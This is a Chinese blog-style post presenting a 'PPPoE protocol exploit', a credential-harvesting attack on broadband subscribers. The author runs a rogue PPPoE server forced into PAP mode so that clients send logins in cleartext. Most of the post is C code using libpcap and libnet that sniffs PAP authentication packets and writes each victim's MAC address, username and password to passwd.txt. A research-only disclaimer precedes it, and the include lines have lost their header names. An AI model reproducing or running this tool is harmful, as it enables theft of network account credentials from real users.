PPPOE协议漏洞利用

权责声名：
本软件仅供研究学习之用，无意对网通或者电信及认证机制做任何抵触性行为。
本软件不可用于任何商业和不良用途，否则责任自负。

这两天闲来无事，写了一个程序来抓取用户名和密码。本来是打算是采用libnet和libpcap来构建PPPOE的server的，但是写到发送 PADS数据包后，client竟然没有响应，不知道是怎么回事，只好利用一个现成的PPPOE的server—–rp-pppoe。
安装rp-pppoe后，指定使用PAP模式进行认证这样的话，用户名和密码就是明文传送的了。

1. #include
2. #include
3. #include
4. #include
5. 
   
6. #define NAME_LEN 25
7. #define PASSWD_LEN 25
8. #define PACKET_LEN 64
9. #define FILTER_STR "ether[12:2]=0x8864 and ether dst %02x:%02x:%02x:%02x:%02x:%02x"
10. 
    
11. static char *nic=NULL;//网卡
12. unsigned char localMAC[6];
13. 
    
14. void analysis(char *argument,const struct pcap_pkthdr* packet_header,const u_char* packet_content);
15. void printpacket(const u_char* packet);
16. void sig_intr(int signo);
17. 
    
18. int main()
19. {
20. pcap_t *pcap_handle = NULL;
21. int p_fd;
22. char error_content[PCAP_ERRBUF_SIZE];
23. struct bpf_program filter_code;
24. char filter_buffer[256];
25. bpf_u_int32 net_mask;
26. bpf_u_int32 net_ip;
27. 
    
28. /*For LibNet*/
29. libnet_t *l=NULL;
30. char l_errbuf[LIBNET_ERRBUF_SIZE];
31. struct libnet_ether_addr *l_ether_addr;
32. 
    
33. if ((l=libnet_init(LIBNET_LINK, nic,l_errbuf))==NULL)
34. {
35. fprintf(stderr,"libnet_init() error!\n");
36. return 1;
37. }
38. 
    
39. //Get the Local Mac Address
40. if ((l_ether_addr=libnet_get_hwaddr(l))==NULL)
41. {
42. fprintf(stderr,"unable to get local mac address :%s\n",libnet_geterror(l));
43. goto err;
44. }
45. memcpy(localMAC,l_ether_addr,sizeof(localMAC));
46. 
    
47. libnet_destroy(l);
48. 
    
49. nic = pcap_lookupdev(error_content);
50. if ((pcap_handle = pcap_open_live(nic,BUFSIZ,1,0,error_content))==NULL) //Get the libpcap handle
51. {
52. fprintf(stderr,"pcap_open_live: %s\n",error_content);
53. goto err;
54. }
55. 
    
56. 
    
57. pcap_lookupnet(nic,&net_ip,&net_mask,error_content);
58. p_fd=pcap_fileno(pcap_handle); //We will close it in child process
59. 
    
60. snprintf(filter_buffer,sizeof(filter_buffer),FILTER_STR,localMAC[0],localMAC[1],localMAC[2],localMAC[3],localMAC[4],localMAC[5]);
61. 
    
62. //Filter String
63. printf("Filter: %s\n",filter_buffer);
64. 
    
65. pcap_compile(pcap_handle,&filter_code,filter_buffer,0,net_ip);
66. pcap_setfilter(pcap_handle,&filter_code);
67. pcap_freecode(&filter_code);
68. 
    
69. signal(SIGINT,sig_intr);
70. 
    
71. pcap_loop(pcap_handle,-1,analysis,NULL);
72. 
    
73. //done:
74. // pcap_close(pcap_handle);
75. return 0;
76. err:
77. pcap_close(pcap_handle);
78. return 1;
79. }
80. 
    
81. void analysis(char *argument,const struct pcap_pkthdr* packet_header,const u_char* packet)
82. {
83. FILE *log;
84. int namelen = 0;
85. int passwdlen;
86. char name[NAME_LEN] = {0};
87. char passwd[PASSWD_LEN] = {0};
88. unsigned char SrcMAC[6];
89. 
    
90. if( (packet[0x14]==0xc0) && (packet[0x15] == 0x23) && (packet[0x16] == 0x01) )
91. {
92. memcpy(SrcMAC,packet+6,6);
93. namelen = packet[0x1A];
94. memcpy(name,packet+0x1B,namelen);
95. name[namelen] = '\0';
96. passwdlen = packet[0x1B+namelen];
97. memcpy(passwd,packet+0x1B+namelen+1,passwdlen);
98. passwd[passwdlen] = '\0';
99. 
    
100. // Test Infomations
101. /*
102. printf("#### Packet Info ####\n");
103. printpacket(packet);
104. printf("namelen = %d\n",namelen);
105. printf("passwdlen = %d\n",passwdlen);
106. printf("SrcMAC: %02x:%02x:%02x:%02x:%02x:%02x\n",SrcMAC[0],SrcMAC[1],SrcMAC[2],SrcMAC[3],SrcMAC[4],SrcMAC[5]);
107. 
     
108. printf("#### Name and Password ####\n");
109. printf("Name: %s\n",name);
110. printf("Passwd: %s\n",passwd);
111. */
112. 
     
113. log = fopen("passwd.txt","a+");
114. if(log == NULL)
115. fprintf(stderr,"Open File Error!\n");
116. 
     
117. fprintf(stdout,"%02x:%02x:%02x:%02x:%02x:%02x\t%s\t%s\n",SrcMAC[0],SrcMAC[1],SrcMAC[2],SrcMAC[3],SrcMAC[4],SrcMAC[5],name,passwd);
118. fprintf(log,"%02x:%02x:%02x:%02x:%02x:%02x\t%s\t%s\n",SrcMAC[0],SrcMAC[1],SrcMAC[2],SrcMAC[3],SrcMAC[4],SrcMAC[5],name,passwd);
119. fflush(log);
120. }
121. }
122. 
     
123. void printpacket(const u_char* packet)
124. {
125. int i,j;
126. printf("Recieve Packet is: \n");
127. for(i = 0;i < PACKET_LEN/16;i++)
128. {
129. for(j = 0;j<16;j++)
130. printf("%02x ",packet[16*i+j]);
131. printf("\n");
132. }
133. }
134. 
     
135. void sig_intr(int signo)
136. {
137. _exit(0);
138. // goto done;
139. }